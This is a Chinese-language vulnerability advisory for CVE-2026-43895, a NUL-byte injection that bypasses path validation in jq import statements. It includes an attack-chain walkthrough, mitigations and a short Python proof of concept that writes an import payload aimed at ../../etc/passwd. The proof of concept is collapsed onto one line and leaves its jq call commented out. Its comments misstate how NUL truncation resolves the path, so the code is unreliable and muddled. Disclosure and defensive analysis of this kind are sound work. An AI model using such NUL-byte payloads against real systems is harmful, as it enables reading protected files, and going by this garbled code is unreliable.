IPBUF安全漏洞报告
English
CVE-2026-43895 CVSS 4.4 中危

CVE-2026-43895 jq路径验证绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43895
漏洞类型
路径验证绕过
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
jq

相关标签

路径验证绕过NUL字节注入jq本地文件包含中危

漏洞概述

jq命令行JSON处理器在1.8.1及更早版本中存在安全漏洞。该漏洞源于程序在处理导入路径时,逻辑层面允许包含NUL字节,而底层C语言实现将其视为字符串结束符。这种差异导致安全验证机制失效,攻击者可利用此特性绕过路径检查,访问预期之外的文件资源。

技术细节

该漏洞的核心在于jq语言层与C语言实现层对字符串处理的不一致。在jq语言层面,解析器允许import路径中包含NUL字节(\x00),并将其视为普通字符或路径的一部分。然而,当jq尝试加载模块或数据文件时,调用的是标准的C语言库函数(如open、fopen等)。这些C函数在遇到NUL字节时会立即停止解析,导致实际打开的文件路径与逻辑验证的路径不同。攻击者可以精心构造包含NUL字节的路径字符串。例如,如果安全策略检查路径是否包含特定前缀或后缀,攻击者可以在合法路径后插入NUL字节,再附加恶意路径。验证层可能只看到合法部分,而底层系统调用则截断NUL之后的内容,从而绕过目录限制或访问控制,导致本地敏感文件泄露或篡改。

攻击链分析

STEP 1
步骤1:构造恶意载荷
攻击者创建一个包含恶意import语句的jq文件,该语句中嵌入了NUL字节(\x00),旨在混淆路径验证逻辑。
STEP 2
步骤2:诱导执行
攻击者诱导受害者或系统处理该恶意jq文件。
STEP 3
步骤3:逻辑验证
jq的逻辑层解析import路径。由于逻辑层接受NUL字节,基于完整字符串的安全检查(如前缀/后缀匹配)可能被绕过或通过。
STEP 4
步骤4:底层解析
jq调用底层C函数进行文件操作。C函数在遇到NUL字节时截断字符串,导致实际访问的路径与验证时的路径不一致。
STEP 5
步骤5:实施攻击
系统打开被截断后的路径,导致攻击者能够读取或写入预期限制之外的文件,造成信息泄露或完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import subprocess import os # PoC for CVE-2026-43895: NUL Byte Injection in jq import paths # This script demonstrates the concept of exploiting the mismatch between # logical path validation and physical path resolution. # 1. Create a malicious jq file containing an import with a NUL byte. # The payload attempts to bypass a hypothetical check requiring 'safe/' prefix. # Logical path: 'safe/module\x00../../etc/passwd' # C-resolved path: 'safe/module' (if check looks at end) or '../../etc/passwd' (if check looks at start) # Based on the CVE description: logical string is accepted, but resolved path is truncated. payload = b'import "safe/module\x00../../etc/passwd"; .' with open('malicious.jq', 'wb') as f: f.write(payload) print("[+] Created malicious.jq with NUL byte injection payload.") # 2. Execute jq with the malicious file. # In a vulnerable version, jq might resolve this incorrectly. try: print("[+] Running jq...") # result = subprocess.run(['jq', '-f', 'malicious.jq'], capture_output=True) # print(result.stdout.decode()) except Exception as e: print(f"Error running jq: {e}")

影响范围

jq <= 1.8.1

防御指南

临时缓解措施
建议立即升级到修复了该漏洞的jq版本。如果无法立即升级,应严格限制不受信任的jq脚本的执行,并在操作系统层面对jq进程实施严格的访问控制策略(如禁用读取敏感目录),同时检查所有输入数据以确保不包含NUL字节。

参考链接